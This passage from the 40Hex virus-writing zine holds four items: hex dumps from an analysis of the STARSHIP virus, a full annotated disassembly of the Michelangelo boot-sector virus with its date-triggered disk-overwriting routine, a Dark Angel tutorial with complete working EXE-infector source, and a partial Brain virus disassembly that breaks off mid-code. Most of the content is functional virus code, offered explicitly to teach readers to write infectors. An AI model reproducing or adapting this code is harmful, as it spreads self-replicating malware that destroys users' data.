40Hex Number 8 Volume 2 Issue 4
Table 1. Layout and size of virus procedures.
(the box indicates the encrypted memory section)
Size Offset (hex) Description
3% 000 - 04F Variables and buffers (see Fig.1)
5% 050 - 0C1 Interrupt 13h handler
10% 0C2 - 1C7 Interrupt 21h handler
11% 1C8 - 312 Active part & check for DOS ready
2% 313 - 340 Random number generator (RND)
7% 341 - 3F7 Interrupts 20h, 21h, 27h handlers
+--- encrypted --------------------------------------------+
| 25% 3F8 - 692 Infector of EXE/COM file includes: |
| 9% 3F8 - 4DD input logic |
| 10% 4DE - 5E9 create infected code |
| 6% 5EA - 692 output logic |
| 3% 693 - 6E5 Tables |
| 3% 6E6 - 738 Startup code for EXE/COM |
| 12% 739 - 88F Infect disk |
| 2% 891 - 8BF Interrupt 01h handler (trace) |
| 11% 8C0 - 9D7 PseudoDOS boot and int B0h handler |
+----------------------------------------------------------+
4% 9D8 - A4E Remover of code from videomemory
2% A4F - A8F Buffers (CS, IP, SS, SP, etc.)
=======================================================
Table 2. Minimal and maximal sizes of infected
executable files.
+-------------+------------------------+
| File type | Minimal Maximal |
| | size size |
+-------------+------------------------+
| | |
| .COM | 1917 62202 |
| | |
| .EXE | 1917 512 K |
+-------------+------------------------+
==============================================================================
Figure 1. Memory block header (M-block) and memory dump of STARSHIP
virus located in core RAM. Virus uses segment 18FB, and its memory
block is at 18F2:0).
------------------- M-memory block containing virus --------------------------
18F2:0000 4D 08 00 B0 00 0A 00 A3-8E 0B A1 0C 00 A3 90 0B M...............
------- PSP of file, which termination caused the virus installation ---------
18F3:0000 CD 20 A3 19 00 9A F0 FE-1D F0 2F 01 0B 18 3C 01 . ......../...<.
18F3:0010 0B 18 56 05 0B 18 0B 18-01 01 01 00 02 FF FF FF ..V.............
18F3:0020 FF FF FF FF FF FF FF FF-FF FF FF FF EE 18 E0 FF ................
18F3:0030 00 90 14 00 18 00 F3 18-FF FF FF FF 00 00 00 00 ................
18F3:0040 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
18F3:0050 CD 21 CB 00 00 00 00 00-00 00 00 00 00 20 20 20 .!...........
18F3:0060 20 20 20 20 20 20 20 20-00 00 00 00 00 20 20 20 .....
18F3:0070 20 20 20 20 20 20 20 20-00 00 00 00 00 00 00 00 ........
------------------ Here follows the code of virus (CS=18FB) -----------------
18FB:0000 E9 01 10 4E 0A 00 10 00-00 00 00 00 00 42 3A 5C ...N.........B:\
18FB:0010 54 4D 50 5C 44 52 4F 5A-46 49 4C 41 2E 43 4F 4D TMP\DROZFILA.COM
18FB:0020 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
18FB:0030 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
18FB:0040 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 FF ................
18FB:0050 E9 93 06 3E 53 54 41 52-53 48 49 50 5F 31 3C 80 ...>STARSHIP_1<.
18FB:0060 FA 80 75 41 83 F9 01 75-3F 0A F6 75 38 80 FC 02 ..uA...u?..u8...
18FB:0070 75 29 1E 50 E8 13 03 58-9C FF 1E B8 04 1F 72 18 u).P...X......r.
18FB:0080 50 56 72 16 B8 01 00 BE-BE 01 26 89 40 02 B0 01 PVr.......&.@...
18FB:0090 26 88 40 01 5E 58 F8 FB-EB 7C 3C 80 FC 03 74 F6 &.@.^X...|<...t.
18FB:00A0 80 FC 05 74 F1 E9 3E 01-80 FE 08 75 F8 51 02 C8 ...t..>....u.Q..
18FB:00B0 80 F9 CC 59 72 EF 80 FD-FE 72 EA 80 FC 02 74 D6 ...Yr....r....t.
18FB:00C0 75 D9 FF F1 E8 9C 2E 80-3E 4F 00 00 75 18 50 1E u.......>O..u.P.
18FB:00D0 8C C8 2D 09 00 E8 A9 02-A1 3C 00 48 E8 A2 02 2E ..-......<.H....
18FB:00E0 F6 16 4F 00 1F 58 80 FC-3C 75 31 2E 83 3E 0B 00 ..O..X....
18FB:00F0 00 75 6E E8 6E 00 75 69-9D E8 CC 00 72 18 50 51 .un.n.ui....r.PQ
==================================================================
Figure 2. Dump of pseudoDOS boot sector
(thin line denotes random garbage).
0000 EB 34 90 4D 53 BF 05 00-CD 13 73 09 32 E4 CD 13 .4.MS.....s.2...
0010 4F 75 F5 CD 18 C3 B9 01-00 E8 E9 FF 80 3E 00 7E Ou...........>.~
0020 EB 75 10 A0 02 7E BB 00-7E E8 97 00 0A E4 74 03 .u...~..~.....t.
0030 80 EF 02 06 53 CB FA 33-C0 8E D0 BC 00 7C 8B F4 ....S..3.....|..
0040 8E C0 8E D8 FB FC BF 00-06 B9 00 01 F3 A5 EA 53 ...............S
0050 06 00 00 B9 37 00 BE D6-06 BF C0 02 F3 A4 BF B0 ....7...........
0060 04 B9 08 00 F3 A4 1E C5-06 4C 00 AB 8C D8 AB 1F .........L......
0070 FE 06 FC 7D A1 FC 7D B9-CC FE BB 00 7C BA 80 08 ...}..}.....|...
0080 0A C0 74 08 50 B8 01 03-E8 7A FF 58 41 89 0E DB ..t.P....z.XA...
0090 02 88 36 DF 02 06 BB 00-BB 8E C3 88 26 E7 02 CD ..6.........&...
00A0 B0 26 A2 63 01 26 8C 1E-C2 00 07 FA C7 06 4C 00 .&.c.&........L.
00B0 B0 04 8C 1E 4E 00 FB BB-00 7C B8 06 02 BA 80 00 ....N....|......
00C0 E9 53 FF 53 51 B9 0A 0A-32 E4 26 30 07 26 02 27 .S.SQ...2.&0.&.'
00D0 43 E2 F7 59 5B C3 C4 02-00 00 50 06 53 B8 00 BB C..Y[.....P.S...
00E0 8E C0 BB 50 00 26 80 3F-E9 74 1E 52 51 B8 05 02 ...P.&.?.t.RQ...
00F0 B9 00 00 BA 80 00 9C 2E-FF 1E B8 04 B0 00 B9 0A ................
0100 0A 26 30 07 43 E2 FA 59-5A 5B 07 58 CF CD B0 9A .&0.C..YZ[.X....
+--------------------------------+
0110 5F 00 00 BB EA|1E 0E 1F-8E C0 33 FF 50 FC 32 C0| _.........3.P.2.
+--------------------+ |
|0120 B9 50 00 F3 AA E8 F6 F7-8B F7 B9 0A 0A F3 A4 E8| .P..............
|0130 98 F9 58 FA A3 B5 04 A3-C1 04 B8 90 90 A3 B0 04| ..X.............
|0140 A3 BC 04 C7 06 BF 04 C5-00 B8 EB 05 A3 C8 04 B8| ................
|0150 EB F4 A3 D4 04 BF CA 04-BE DB 04 06 1E 07 A5 A5| ................
|0160 A4 FB A3 D9 04 A3 C8 02-C7 06 E0 02 CD 13 C7 06| ................
|0170 E2 02 EB 0D FE 06 D9 02-CD B0 B9 37 00 BF C0 02| ...........7....
|0180 1E 07 8C D8 F3 AA 07 1F-C3 B4 62 E8 7A F7 C3 90| ..........b.z...
|0190 90 90 90 90 90 90 90 90-90 90 A4 4B 4C EA A6 8C| ...........KL...
|01A0 BE 23 54 F4 BC E8 B8 6B-5B F1 B2 EC B2 81 5E F6| .#T....k[.....^.
|01B0 88 D0 8C BC 64 CC 8E CC-86 69 6A C2 84 C8 80 6F| ....d....ij....o
|01C0 FA 2B C0 8E D0 8E C0 8E-D8 B8 00 7C 8B E0 FB 8B| .+.........|....
|01D0 F0 BF 00 7E FC B9 00 01-F3 A5 E9 00 02 B9 10 00| ...~............
|01E0 8B 36 85 7E F6 04 80 75-08 83 EE 10 E2 F6 EB 37| .6.~...u.......7
| +-----------------+
|01F0 90 BF BE 07 57 B9 08 00-F3 A5|74 91 05 AD 55 AA ....W.....t...U.
+-----------------------------------+
==================================================================
Figure 3. Dispatcher code located at absolute address 0:4B0.
a) virus code located in videomemory
0000:04B0 CD B0 INT B0 <== int 13h
0000:04B2 9A 5F 00 00 BB CALL BB00:005F
0000:04B7 EA 3D A3 00 F0 JMP F000:A33D
0000:04BC CD B0 INT B0 <== int 21h
0000:04BE 9A D6 03 00 BB CALL BB00:03D6
0000:04C3 EA 60 14 73 02 JMP 0273:1460
0000:04C8 CD B0 INT B0 <== int 20h
0000:04CA 9A DD 03 00 BB CALL BB00:03DD
0000:04CF EA 3F 14 73 02 JMP 0273:143F
0000:04D4 CD B0 INT B0 <== int 27h
0000:04D6 9A 93 03 00 BB CALL BB00:0393
0000:04DB EA 66 63 73 02 JMP 0273:6366
b) after removing of code from videomemory
(segment CS=18FB is where virus resides)
0000:04B0 90 NOP <== int 13h
0000:04B1 90 NOP
0000:04B2 9A 5F 00 6D 19 CALL 18FB:005F
0000:04B7 EA 3D A3 00 F0 JMP F000:A33D
0000:04BC 90 NOP <== int 21h
0000:04BD 90 NOP
0000:04BE 9A C5 00 6D 19 CALL 18FB:00C5
0000:04C3 EA 3D A3 00 F0 JMP 0273:1460
0000:04C8 EB 05 JMP 4CF <== int 20h
0000:04CA EA 3F 14 73 02 JMP 0273:143F
0000:04CF EA 66 63 73 02 JMP 0273:6366
0000:04D4 EB F4 JMP 4CA <== int 27h
===============================================================
All corrections and remarks will be greatly appreciated. Send
information directly via E-mail address (MIG@politon.msk.su) or
in comp.virus group of USENET (I am monitoring it permanently).
F .rs mbyt- tF .rs mbyt- tF . (What is this? -Ed.)
40Hex Number 8 Volume 2 Issue 4 File 006
; This is a disassembly of the much-hyped michelangelo virus.
; As you can see, it is a derivative of the Stoned virus. The
; junk bytes at the end of the file are probably throwbacks to
; the Stoned virus. In any case, it is yet another boot sector
; and partition table infector.
michelangelo segment byte public
assume cs:michelangelo, ds:michelangelo
; Disassembly by Dark Angel of PHALCON/SKISM
org 0
jmp entervirus
highmemjmp db 0F5h, 00h, 80h, 9Fh
maxhead db 2 ; used by damagestuff
firstsector dw 3
oldint13h dd 0C8000256h
int13h:
push ds
push ax
or dl, dl ; default drive?
jnz exitint13h ; exit if not
xor ax, ax
mov ds, ax
test byte ptr ds:[43fh], 1 ; disk 0 on?
jnz exitint13h ; if not spinning, exit
pop ax
pop ds
pushf
call dword ptr cs:[oldint13h]; first call old int 13h
pushf
call infectdisk ; then infect
popf
retf 2
exitint13h: pop ax
pop ds
jmp dword ptr cs:[oldint13h]
infectdisk:
push ax
push bx
push cx
push dx
push ds
push es
push si
push di
push cs
pop ds
push cs
pop es
mov si, 4
readbootblock:
mov ax,201h ; Read boot block to
mov bx,200h ; after virus
mov cx,1
xor dx,dx
pushf
call oldint13h
jnc checkinfect ; continue if no error
xor ax,ax
pushf
call oldint13h ; Reset disk
dec si ; loop back
jnz readbootblock
jmp short quitinfect ; exit if too many failures
checkinfect:
xor si,si
cld
lodsw
cmp ax,[bx] ; check if already infected
jne infectitnow
lodsw
cmp ax,[bx+2] ; check again
je quitinfect
infectitnow:
mov ax,301h ; Write old boot block
mov dh,1 ; to head 1
mov cl,3 ; sector 3
cmp byte ptr [bx+15h],0FDh ; 360k disk?
je is360Kdisk
mov cl,0Eh
is360Kdisk:
mov firstsector,cx
pushf
call oldint13h
jc quitinfect ; exit on error
mov si,200h+offset partitioninfo
mov di,offset partitioninfo
mov cx,21h ; Copy partition table
cld
rep movsw
mov ax,301h ; Write virus to sector 1
xor bx,bx
mov cx,1
xor dx,dx
pushf
call oldint13h
quitinfect:
pop di
pop si
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
retn
entervirus:
xor ax,ax
mov ds,ax
cli
mov ss,ax
mov ax,7C00h ; Set stack to just below
mov sp,ax ; virus load point
sti
push ds ; save 0:7C00h on stack for
push ax ; later retf
mov ax,ds:[13h*4]
mov word ptr ds:[7C00h+offset oldint13h],ax
mov ax,ds:[13h*4+2]
mov word ptr ds:[7C00h+offset oldint13h+2],ax
mov ax,ds:[413h] ; memory size in K
dec ax ; 1024 K
dec ax
mov ds:[413h],ax ; move new value in
mov cl,6
shl ax,cl ; ax = paragraphs of memory
mov es,ax ; next line sets seg of jmp
mov word ptr ds:[7C00h+2+offset highmemjmp],ax
mov ax,offset int13h
mov ds:[13h*4],ax
mov ds:[13h*4+2],es
mov cx,offset partitioninfo
mov si,7C00h
xor di,di
cld
rep movsb ; copy to high memory
; and transfer control there
jmp dword ptr cs:[7C00h+offset highmemjmp]
; destination of highmem jmp
xor ax,ax
mov es,ax
int 13h ; reset disk
push cs
pop ds
mov ax,201h
mov bx,7C00h
mov cx,firstsector
cmp cx,7 ; hard disk infection?
jne floppyboot ; if not, do floppies
mov dx,80h ; Read old partition table of
int 13h ; first hard disk to 0:7C00h
jmp short exitvirus
floppyboot:
mov cx,firstsector ; read old boot block
mov dx,100h ; to 0:7C00h
int 13h
jc exitvirus
push cs
pop es
mov ax,201h ; read boot block
mov bx,200h ; of first hard disk
mov cx,1
mov dx,80h
int 13h
jc exitvirus
xor si,si
cld
lodsw
cmp ax,[bx] ; is it infected?
jne infectharddisk ; if not, infect HD
lodsw ; check infection
cmp ax,[bx+2]
jne infectharddisk
exitvirus:
xor cx,cx ; Real time clock get date
mov ah,4 ; dx = mon/day
int 1Ah
cmp dx,306h ; March 6th
je damagestuff
retf ; return control to original
; boot block @ 0:7C00h
damagestuff:
xor dx,dx
mov cx,1
smashanothersector:
mov ax,309h
mov si,firstsector
cmp si,3
je smashit
mov al,0Eh
cmp si,0Eh
je smashit
mov dl,80h ; first hard disk
mov maxhead,4
mov al,11h
smashit:
mov bx,5000h ; random memory area
mov es,bx ; at 5000h:5000h
int 13h ; Write al sectors to drive dl
jnc skiponerror ; skip on error
xor ah,ah ; Reset disk drive dl
int 13h
skiponerror:
inc dh ; next head
cmp dh,maxhead ; 2 if floppy, 4 if HD
jb smashanothersector
xor dh,dh ; go to next head/cylinder
inc ch
jmp short smashanothersector
infectharddisk:
mov cx,7 ; Write partition table to
mov firstsector,cx ; sector 7
mov ax,301h
mov dx,80h
int 13h
jc exitvirus
mov si,200h+offset partitioninfo ; Copy partition
mov di,offset partitioninfo ; table information
mov cx,21h
rep movsw
mov ax,301h ; Write to sector 8
xor bx,bx ; Copy virus to sector 1
inc cl
int 13h
;* jmp short 01E0h
db 0EBh, 32h ; ?This should crash?
; The following bytes are meaningless.
garbage db 1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h
partitioninfo: db 42h dup (0)
michelangelo ends
end
40Hex Number 8 Volume 2 Issue 4 File 007
컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴�
An Introduction to Nonoverwriting Virii
Part II: EXE Infectors
By Dark Angel
컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴�
In the last issue of 40Hex, I presented theory and code for the
nonoverwriting COM infector, the simplest of all parasitic virii.
Hopefully, having learned COM infections cold, you are now ready for EXE
infections. There is a grey veil covering the technique of EXE infections,
as the majority of virii are COM-only.
EXE infections are, in some respects, simpler than COM viruses.
However, to understand the infection, you must understand the structure of
EXE files (naturally). EXE files are structured into segments which are
loaded consecutively atop one another. Thus, all an EXE infector must do
is create its own segment in the EXE file and alter the entry point
appropriately. Therefore, EXE infections do not require restoration of
bytes of code, but rather involve the manipulation of the header which
appears in the beginning every EXE file and the appending of viral code to
the infected file. The format of the header follows:
Offset Description
00 ID word, either 'MZ' or 'ZM'
02 Number of bytes in the last (512 byte) page in the image
04 Total number of 512 byte pages in the file
06 Number of entries in the segment table
08 Size of the header in (16 byte) paragraphs
0A Minimum memory required in paragraphs
0C Maximum memory requested in paragraphs
0E Initial offset in paragraphs to stack segment from header
10 Initial offset in bytes of stack pointer from stack segment
12 Negative checksum (ignored)
14 Initial offset in bytes of instruction pointer from code segment
16 Initial offset in paragraphs of code segment from header
18 Offset of relocation table from start of file
1A Overlay number (ignored)
The ID word is generally 'ZM' (in the Intel little-endian format). Few
files start with the alternate form, 'MZ' (once again in Intel little-
endian format). To save space, a check for the alternate form of the EXE
ID in the virus may be omitted, although a few files may be corrupted due
to this omission.
The words at offsets 2 and 4 are related. The word at offset 4 contains
the filesize in pages. A page is a 512 byte chunk of memory, just as a
word is a two byte chunk of memory. This number is rounded up, so a file
of length 514 bytes would contain a 2 at offset 4 in the EXE header. The
word at offset 2 is the image length modulo 512. The image length does not
include the header length. This is one of the bizarre quirks of the EXE
header. Since the header length is usually a multiple of 512 anyway, this
quirk usually does not matter. If the word at offset 2 is equal to four,
then it is generally ignored (heck, it's never really used anyway) since
pre-1.10 versions of the Microsoft linker had a bug which caused the word
to always be equal to four. If you are bold, the virus can set this word
to 4. However, keep in mind that this was a bug of the linker and not all
command interpreters may recognise this quirk.
The minimum memory required by the program (offset A) can be ignored by the
virus, as the maximum memory is generally allocated to the program by the
operating system. However, once again, ignoring this area of the header
MAY cause an unsucessful infection. Simply adding the virus size in
paragraphs to this value can nullify the problem.
The words representing the initial stack segment and pointer are reversed
(not in little-endian format). In other words, an LES to this location
will yield the stack pointer in ES and the stack segment in another
register. The initial SS:SP is calculated with the base address of
0000:0000 being at the end of the header.
Similarly, the initial CS:IP (in little-endian format) is calculated with
the base address of 0000:0000 at the end of the header. For example, if
the program entry point appears directly after the header, then the CS:IP
would be 0000:0000. When the program is loaded, the PSP+10 is added to the
segment value (the extra 10 accounts for the 100h bytes of the PSP).
All the relevant portions of the EXE header have been covered. So what
should be done to write a nonoverwriting EXE infector? First, the virus
must be appended to the end of the file. Second, the initial CS:IP must be
saved and subsequently changed in the header. Third, the initial SS:SP
should also be saved and changed. This is to avoid any possible memory
conflicts from the stack overwriting viral code. Fourth, the file size
area of the header should be modified to correctly reflect the new size of
the file. Fifth, any additional safety modifications such as increasing
the minimum memory allocation should be made. Last, the header should be
written to the infected file.
There are several good areas for ID bytes in the EXE header. The first is
in the stack pointer field. Since it should be changed anyway, changing it
to a predictable number would add nothing to the code length. Make sure,
however, to make the stack pointer high enough to prevent code overwrites.
Another common area for ID bytes is in the negative checksum field. Since
it is an unused field, altering it won't affect the execution of any
programs.
One further item should be mentioned before the code for the EXE infector.
It is important to remember that EXE files are loaded differently than COM
files. Although a PSP is still built, the initial CS does NOT point to it.
Instead, it points to wherever the entry point happens to be. DS and ES
point to the PSP, and therefore do NOT point to the entry point (your virus
code). It is important to restore DS and ES to their proper values before
returning control to the EXE.
----cut here---------------------------------------------------------------
.model tiny ; Handy TASM directive
.code ; Virus code segment
org 100h ; COM file starting IP
; Cheesy EXE infector
; Written by Dark Angel of PHALCON/SKISM
; For 40Hex Number 8 Volume 2 Issue 4
id = 'DA' ; ID word for EXE infections
startvirus: ; virus code starts here
call next ; calculate delta offset
next: pop bp ; bp = IP next
sub bp,offset next ; bp = delta offset
push ds
push es
push cs ; DS = CS
pop ds
push cs ; ES = CS
pop es
lea si,[bp+jmpsave2]
lea di,[bp+jmpsave]
movsw
movsw
movsw
movsw
mov ah,1Ah ; Set new DTA
lea dx,[bp+newDTA] ; new DTA @ DS:DX
int 21h
lea dx,[bp+exe_mask]
mov ah,4eh ; find first file
mov cx,7 ; any attribute
findfirstnext:
int 21h ; DS:DX points to mask
jc done_infections ; No mo files found
mov al,0h ; Open read only
call open
mov ah,3fh ; Read file to buffer
lea dx,[bp+buffer] ; @ DS:DX
mov cx,1Ah ; 1Ah bytes
int 21h
mov ah,3eh ; Close file
int 21h
checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected?
jnz infect_exe
find_next:
mov ah,4fh ; find next file
jmp short findfirstnext
done_infections:
mov ah,1ah ; restore DTA to default
mov dx,80h ; DTA in PSP
pop es
pop ds ; DS->PSP
int 21h
mov ax,es ; AX = PSP segment
add ax,10h ; Adjust for PSP
add word ptr cs:[si+jmpsave+2],ax
add ax,word ptr cs:[si+stacksave+2]
cli ; Clear intrpts for stack manip.
mov sp,word ptr cs:[si+stacksave]
mov ss,ax
sti
db 0eah ; jmp ssss:oooo
jmpsave dd ? ; Original CS:IP
stacksave dd ? ; Original SS:SP
jmpsave2 dd 0fff00000h ; Needed for carrier file
stacksave2 dd ?
creator db '[MPC]',0,'Dark Angel of PHALCON/SKISM',0
virusname db '[DemoEXE] for 40Hex',0
infect_exe:
les ax, dword ptr [bp+buffer+14h] ; Save old entry point
mov word ptr [bp+jmpsave2], ax
mov word ptr [bp+jmpsave2+2], es
les ax, dword ptr [bp+buffer+0Eh] ; Save old stack
mov word ptr [bp+stacksave2], es
mov word ptr [bp+stacksave2+2], ax
mov ax, word ptr [bp+buffer + 8] ; Get header size
mov cl, 4 ; convert to bytes
shl ax, cl
xchg ax, bx
les ax, [bp+offset newDTA+26]; Get file size
mov dx, es ; to DX:AX
push ax
push dx
sub ax, bx ; Subtract header size from
sbb dx, 0 ; file size
mov cx, 10h ; Convert to segment:offset
div cx ; form
mov word ptr [bp+buffer+14h], dx ; New entry point
mov word ptr [bp+buffer+16h], ax
mov word ptr [bp+buffer+0Eh], ax ; and stack
mov word ptr [bp+buffer+10h], id
pop dx ; get file length
pop ax
add ax, heap-startvirus ; add virus size
adc dx, 0
mov cl, 9 ; 2**9 = 512
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax ; filesize in pages
pop ax
and ah, 1 ; mod 512
mov word ptr [bp+buffer+4], dx ; new file size
mov word ptr [bp+buffer+2], ax
push cs ; restore ES
pop es
mov cx, 1ah
finishinfection:
push cx ; Save # bytes to write
xor cx,cx ; Clear attributes
call attributes ; Set file attributes
mov al,2
call open
mov ah,40h ; Write to file
lea dx,[bp+buffer] ; Write from buffer
pop cx ; cx bytes
int 21h
mov ax,4202h ; Move file pointer
xor cx,cx ; to end of file
cwd ; xor dx,dx
int 21h
mov ah,40h ; Concatenate virus
lea dx,[bp+startvirus]
mov cx,heap-startvirus ; # bytes to write
int 21h
mov ax,5701h ; Restore creation date/time
mov cx,word ptr [bp+newDTA+16h] ; time
mov dx,word ptr [bp+newDTA+18h] ; date
int 21h
mov ah,3eh ; Close file
int 21h
mov ch,0
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
call attributes ; attributes
mo_infections: jmp find_next
open:
mov ah,3dh
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
xchg ax,bx
ret
attributes:
mov ax,4301h ; Set attributes to cx
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
ret
exe_mask db '*.exe',0
heap: ; Variables not in code
newDTA db 42 dup (?) ; Temporary DTA
buffer db 1ah dup (?) ; read buffer
endheap: ; End of virus
end startvirus
----cut here---------------------------------------------------------------
This is a simple EXE infector. It has limitations; for example, it does
not handle misnamed COM files. This can be remedied by a simple check:
cmp [bp+buffer],'ZM'
jnz misnamed_COM
continueEXE:
Take special notice of the done_infections and infect_exe procedures. They
handle all the relevant portions of the EXE infection. The restoration of
the EXE file simply consists of resetting the stack and a far jmp to the
original entry point.
A final note on EXE infections: it is often helpful to "pad" EXE files to
the nearest segment. This accomplishes two things. First, the initial IP
is always 0, a fact which can be used to eliminate delta offset
calculations. Code space can be saved by replacing all those annoying
relative memory addressing statements ([bp+offset blip]) statements with
their absolute counterparts (blip). Second, recalculation of header info
can be handled in paragraphs, simplifying it tremendously. The code for
this is left as an exercise for the reader.
This file is dedicated to the [XxXX] (Censored. -Ed.) programmers (who have
yet to figure out how to write EXE infectors). Hopefully, this text can
teach them (and everyone else) how to progress beyond simple COM and spawn-
ing EXE infectors. In the next issue of 40Hex, I will present the theory
and code for the next step of file infector - the coveted SYS file.
40Hex Number 8 Volume 2 Issue 4 File 008
; This is the ashar variant of the classic Pakistani Brain virus. It is large
; by today's standards, although it was one of the first. It is a floppy only
; boot sector infector.
brain segment byte public
assume cs:brain, ds:brain
; Disassembly done by Dark Angel of PHALCON/SKISM
org 0
cli
jmp entervirus
idbytes db 34h, 12h
firsthead db 0
firstsector dw 2707h
curhead db 0
cursector dw 1
db 0, 0, 0, 0
db 'Welcome to the Dungeon '
copyright db '(c) 1986 Brain'
db 17h
db '& Amjads (pvt) Ltd VIRUS_SHOE '
db ' RECORD v9.0 Dedicated to th'
db 'e dynamic memories of millions o'
db 'f virus who are no longer with u'
db 's today - Thanks GOODNESS!! '
db ' BEWARE OF THE er..VIRUS : \th'
db 'is program is catching prog'
db 'ram follows after these messeges'
db '..... $'
db '#@%$'
db '@!! '
entervirus:
mov ax,cs
mov ds,ax ; ds = 0
mov ss,ax ; set stack to after
mov sp,0F000h ; virus
sti
mov al,ds:[7C00h+offset firsthead]
mov ds:[7C00h+offset curhead],al
mov cx,ds:[7C00h+offset firstsector]
mov ds:[7C00h+offset cursector],cx
call calcnext
mov cx,5 ; read five sectors
mov bx,7C00h+200h ; after end of virus
loadnext:
call readdisk
call calcnext
add bx,200h
loop loadnext
mov ax,word ptr ds:[413h] ; Base memory size in Kb
sub ax,7 ; - 7 Kb
mov word ptr ds:[413h],ax ; Insert as new value
mov cl,6
shl ax,cl ; Convert to paragraphs
mov es,ax
mov si,7C00h ; Copy from virus start
mov di,0 ; to start of memory
mov cx,1004h ; Copy 1004h bytes
cld
rep movsb
push es
mov ax,200h
push ax
retf ; return to old boot sector
readdisk:
push cx
push bx
mov cx,4 ; Try 4 times
tryread:
push cx
mov dh,ds:[7C00h+offset curhead]
mov dl,0 ; Read sector from default
mov cx,ds:[7C00h+offset cursector]
mov ax,201h ; Disk to memory at es:bx
int 13h
jnc readOK
mov ah,0 ; Reset disk
int 13h ; (force read track 0)
pop cx
loop tryread
int 18h ; ROM basic on failure
readOK:
pop cx
pop bx
pop cx
retn
calcnext:
mov al,byte ptr ds:[7C00h+offset cursector]
inc al
mov byte ptr ds:[7C00h+offset cursector],al
cmp al,0Ah
jne donecalc
mov byte ptr ds:[7C00h+offset cursector],1
mov al,ds:[7C00h+offset curhead]
inc al
mov ds:[7C00h+offset curhead],al
cmp al,2
jne donecalc
mov byte ptr ds:[7C00h+offset curhead],0
inc byte ptr ds:[7C00h+offset cursector+1]
donecalc:
retn
; the following is a collection of garbage bytes
db 00h, 00h, 00h, 00h, 32h,0E3h
db 23h, 4Dh, 59h,0F4h,0A1h, 82h
db 0BCh,0C3h, 12h, 00h, 7Eh, 12h
db 0CDh, 21h,0A2h, 3Ch, 5Fh
a_data dw 050Ch
; Second part of the virus begins here
jmp short entersecondpart
db '(c) 1986 Brain & Amjads (pvt) Ltd ',0
readcounter db 4 ; keep track of # reads
curdrive db 0
int13flag db 0
entersecondpart:
mov cs:readcounter,1Fh
xor ax,ax
mov ds,ax ; ds -> interrupt table
mov ax,ds:[13h*4]
mov ds:[6Dh*4],ax
mov ax,ds:[13h*4+2]
mov ds:[6Dh*4+2],ax
mov ax,offset int13 ; 276h
mov ds:[13h*4],ax
mov ax,cs
mov ds:[13h*4+2],ax
mov cx,4 ; 4 tries
xor ax,ax
mov es,ax ; es -> interrupt table
tryreadbootsector:
push cx
mov dh,cs:firsthead
mov dl,0
mov cx,cs:firstsector
mov ax,201h ; read from default disk
mov bx,7C00h
int 6Dh ; int 13h
jnc readbootOK
mov ah,0
int 6Dh ; int 13h
pop cx
loop tryreadbootsector
int 18h ; ROM basic on failure
readbootOK: ; return control to
; original boot sector
;* jmp far ptr 0000:7C00h
db 0EAh, 00h, 7Ch, 00h, 00h
nop ; MASM NOP!!!
int13:
sti
cmp ah,2 ; if not read request,
jne doint13 ; do not go further
cmp dl,2 ; if after second floppy,
ja doint13 ; do not go further
cmp ch,0 ; if not reading boot sector,
jne regularread ; go handle as usual
cmp dh,0 ; if boot sector,
je readboot ; do I<-/>/\|> stuff
regularread:
dec cs:readcounter ; Infect after 4 reads
jnz doint13 ; If counter still OK, don't
; do anything else
jmp short readboot ; Otherwise, try to infect
doint13:
jmp exitint13h
readboot:
; FINISH THIS!
mov cs:int13flag,0 ; clear flag
mov cs:readcounter,4 ; reset counter
push ax
push bx
push cx
push dx
mov cs:curdrive,dl
mov cx,4
tryreadbootblock:
push cx
mov ah,0 ; Reset disk
int 6Dh
jc errorreadingbootblock ; Try again
mov dh,0
mov cx,1
mov bx,offset readbuffer ; buffer @ 6BEh
push es
mov ax,cs
mov es,ax
mov ax,201h
int 6Dh ; Read boot sector
pop es
jnc continuestuff ; continue if no error
errorreadingbootblock:
pop cx
loop tryreadbootblock
jmp short resetdisk ; too many failures
nop
continuestuff:
pop cx ; get system id in boot block
mov ax,word ptr cs:[offset readbuffer+4]
cmp ax,1234h ; already infected?
jne dodisk ; if not, infect it
mov cs:int13flag,1 ; flag prev. infection
jmp short noreset
dodisk:
push ds
push es
mov ax,cs
mov ds,ax
mov es,ax
push si
call writevirus ; infect the disk
jc failme ; exit on failure
mov cs:int13flag,2 ; flag success
call changeroot ; manipulate volume label
failme:
pop si
pop es
pop ds
jnc noreset ; don't reset on success
resetdisk:
mov ah,0 ; reset disk
int 6Dh ; int 13h
noreset:
pop dx
pop cx
pop bx
pop ax
cmp cx,1
jne exitint13h
cmp dh,0
jne exitint13h
cmp cs:int13flag,1 ; already infected?
jne wasntinfected ; if wasn't, go elsewhere
mov cx,word ptr cs:[offset readbuffer+7]
mov dx,word ptr cs:[offset readbuffer+5]
mov dl,cs:curdrive ; otherwise, read real
jmp short exitint13h ; boot sector
wasntinfected:
cmp cs:int13flag,2 ; successful infection?
jne exitint13h ; if not, just do call
mov cx,cs:firstsector
mov dh,cs:firsthead
exitint13h:
int 6Dh ; int 13h
retf 2
db 15 dup (0)
FATManip: ; returns al as error code
jmp short delvedeeper
nop
FATManipreadcounter dw 3
db ' (c) 1986 Brain & Amjads (pvt) Ltd'
delvedeeper:
call readFAT ; Get FAT ID byte
mov ax,word ptr ds:[offset readbuffer]
cmp ax,0FFFDh ; is it 360K disk?
je is360Kdisk ; continue if so
mov al,3 ; al=3 == not good disk
stc ; flag error
retn ; and exit
is360Kdisk:
mov cx,37h
mov FATManipreadcounter,0 ; none found yet
checknextsector:
call FATentry12bit ; get entry in FAT
cmp ax,0 ; unused?
jne notunused
inc FATManipreadcounter ; one more found unused
cmp FATManipreadcounter,3 ; If need more,
jne tryanother ; go there
jmp short markembad ; found 3 consecutive
nop ; empty sectors
notunused:
mov FATManipreadcounter,0 ; must start over
tryanother:
inc cx ; try next sector
cmp cx,163h ; end of disk?
jne checknextsector ; if not, continue
